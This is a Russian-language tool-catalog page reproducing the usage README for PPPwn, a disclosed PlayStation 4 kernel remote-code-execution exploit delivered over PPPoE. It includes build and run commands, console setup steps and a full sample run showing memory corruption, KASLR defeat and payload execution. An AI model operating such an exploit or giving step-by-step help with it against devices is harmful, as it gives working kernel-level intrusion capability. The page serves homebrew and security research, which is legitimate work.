Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
PPPwn — PPPwn - PlayStation 4 PPPoE RCE | Kitploit
Инструменты/GitHubGitHub/theofficialflow/pppwn
ExploitationPayload DevelopmentBinary Exploitation
GitHubtheofficialflow/pppwn

PPPwn

PPPwn - PlayStation 4 PPPoE RCE

Репозиторий
3.0k4142 лет назадПроверено Kitploit

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

PPPwn — RCE через PPPoE на PlayStation 4

PPPwn — это эксплойт удаленного выполнения кода в ядре для PlayStation 4 вплоть до FW 11.00. Это эксплойт proof-of-concept для CVE-2006-4304, о котором было ответственно сообщено в PlayStation.

Поддерживаются следующие версии:

  • FW 7.00 / 7.01 / 7.02
  • FW 7.50 / 7.51 / 7.55
  • FW 8.00 / 8.01 / 8.03
  • FW 8.50 / 8.52
  • FW 9.00
  • FW 9.03 / 9.04
  • FW 9.50 / 9.51 / 9.60
  • FW 10.00 / 10.01
  • FW 10.50 / 10.70 / 10.71
  • FW 11.00
  • можно добавить и другие (PR приветствуются)

Эксплойт лишь выводит PPPwned на вашей PS4 в качестве подтверждения концепции. Чтобы запустить Mira или аналогичные средства запуска homebrew, необходимо адаптировать полезную нагрузку stage2.bin.

Требования

  • Компьютер с портом Ethernet
    • USB-адаптер тоже подойдёт
  • Кабель Ethernet
  • Linux
    • Можно использовать VirtualBox для создания виртуальной машины Linux с сетевым адаптером Bridged Adapter, чтобы задействовать порт Ethernet в виртуальной машине.
  • Установленные Python3 и gcc

Использование

На вашем компьютере склонируйте репозиторий:

root@kitploit:~
git clone --recursive https://github.com/TheOfficialFloW/PPPwn

Перейдите в каталог склонированного репозитория:

root@kitploit:~
cd PPPwn

Установите зависимости:

root@kitploit:~
sudo pip install -r requirements.txt

Скомпилируйте полезные нагрузки:

root@kitploit:~
make -C stage1 FW=1100 clean && make -C stage1 FW=1100
make -C stage2 FW=1100 clean && make -C stage2 FW=1100

Для других прошивок, например FW 9.00, передайте FW=900.

ПОКА НЕ ЗАПУСКАЙТЕ эксплойт (не нажимайте Enter), но подготовьте эту команду в приглашении (см. ifconfig, чтобы узнать правильный интерфейс):

root@kitploit:~
sudo python3 pppwn.py --interface=enp0s3 --fw=1100

Для других прошивок, например FW 9.00, передайте --fw=900.

На вашей PS4:

  • Перейдите в Settings, затем в Network

  • Выберите Set Up Internet connection и укажите Use a LAN Cable

  • Выберите вариант Custom и укажите PPPoE для IP Address Settings

  • Введите что угодно в полях PPPoE User ID и PPPoE Password

  • Выберите Automatic для DNS Settings и MTU Settings

  • Выберите Do Not Use для Proxy Server

ВСЕГДА дожидайтесь, пока консоль не покажет сообщение «Cannot connect to network: (NW-31274-7)», прежде чем повторять эту PPPoE-инъекцию.

Если эксплойт не сработал или PS4 зависла, вы можете пропустить настройку интернета и просто нажать на Test Internet Connection. Остановите скрипт pppwn.py и запустите его снова на компьютере, после чего нажмите на Test Internet Connection на PS4: всегда одновременно.

Если эксплойт сработал, вы должны увидеть вывод, похожий на приведённый ниже, а на экране PS4 должно появиться Cannot connect to network. с последующим PPPwned (или наоборот).

Пример запуска

root@kitploit:~
[+] PPPwn - PlayStation 4 PPPoE RCE by theflow
[+] args: interface=enp0s3 fw=1100 stage1=stage1/stage1.bin stage2=stage2/stage2.bin

[+] STAGE 0: Initialization
[*] Waiting for PADI...
[+] pppoe_softc: 0xffffabd634beba00
[+] Target MAC: xx:xx:xx:xx:xx:xx
[+] Source MAC: 07:ba:be:34:d6:ab
[+] AC cookie length: 0x4e0
[*] Sending PADO...
[*] Waiting for PADR...
[*] Sending PADS...
[*] Waiting for LCP configure request...
[*] Sending LCP configure ACK...
[*] Sending LCP configure request...
[*] Waiting for LCP configure ACK...
[*] Waiting for IPCP configure request...
[*] Sending IPCP configure NAK...
[*] Waiting for IPCP configure request...
[*] Sending IPCP configure ACK...
[*] Sending IPCP configure request...
[*] Waiting for IPCP configure ACK...
[*] Waiting for interface to be ready...
[+] Target IPv6: fe80::2d9:d1ff:febc:83e4
[+] Heap grooming...done

[+] STAGE 1: Memory corruption
[+] Pinning to CPU 0...done
[*] Sending malicious LCP configure request...
[*] Waiting for LCP configure request...
[*] Sending LCP configure ACK...
[*] Sending LCP configure request...
[*] Waiting for LCP configure ACK...
[*] Waiting for IPCP configure request...
[*] Sending IPCP configure NAK...
[*] Waiting for IPCP configure request...
[*] Sending IPCP configure ACK...
[*] Sending IPCP configure request...
[*] Waiting for IPCP configure ACK...
[+] Scanning for corrupted object...found fe80::0fdf:4141:4141:4141

[+] STAGE 2: KASLR defeat
[*] Defeating KASLR...
[+] pppoe_softc_list: 0xffffffff884de578
[+] kaslr_offset: 0x3ffc000

[+] STAGE 3: Remote code execution
[*] Sending LCP terminate request...
[*] Waiting for PADI...
[+] pppoe_softc: 0xffffabd634beba00
[+] Target MAC: xx:xx:xx:xx:xx:xx
[+] Source MAC: 97:df:ea:86:ff:ff
[+] AC cookie length: 0x511
[*] Sending PADO...
[*] Waiting for PADR...
[*] Sending PADS...
[*] Triggering code execution...
[*] Waiting for stage1 to resume...
[*] Sending PADT...
[*] Waiting for PADI...
[+] pppoe_softc: 0xffffabd634be9200
[+] Target MAC: xx:xx:xx:xx:xx:xx
[+] AC cookie length: 0x0
[*] Sending PADO...
[*] Waiting for PADR...
[*] Sending PADS...
[*] Waiting for LCP configure request...
[*] Sending LCP configure ACK...
[*] Sending LCP configure request...
[*] Waiting for LCP configure ACK...
[*] Waiting for IPCP configure request...
[*] Sending IPCP configure NAK...
[*] Waiting for IPCP configure request...
[*] Sending IPCP configure ACK...
[*] Sending IPCP configure request...
[*] Waiting for IPCP configure ACK...

[+] STAGE 4: Arbitrary payload execution
[*] Sending stage2 payload...
[+] Done!

Примечания для пользователей Mac на Apple Silicon (arm64 / aarch64)

Код не компилируется на Apple Silicon и требует архитектуры AMD64. Существует обходной путь с использованием Docker, который соберёт необходимые bin-файлы. Склонируйте этот репозиторий в вашу систему Mac, затем из папки репозитория выполните ./build-macarm.sh. Это соберёт бинарные файлы для PS4 FW 1100 и разместит необходимые файлы в нужных папках. Чтобы собрать бинарные файлы для другой версии, например 900, выполните команду так: ./build-macarm.sh 900. После сборки скопируйте эту структуру папок в Linux VM и выполните всё, как указано выше. Протестировано с использованием VMware Fusion 13.5.1, где гостевая ОС VM — Ubuntu 24.04, а хост-машина — MacOS 14.4.1.

Скачать инструмент
  • Теперь одновременно нажмите кнопку «X» на геймпаде на пункте Test Internet Connection и «Enter» на клавиатуре (на компьютере, где у вас готов к запуску Python-скрипт).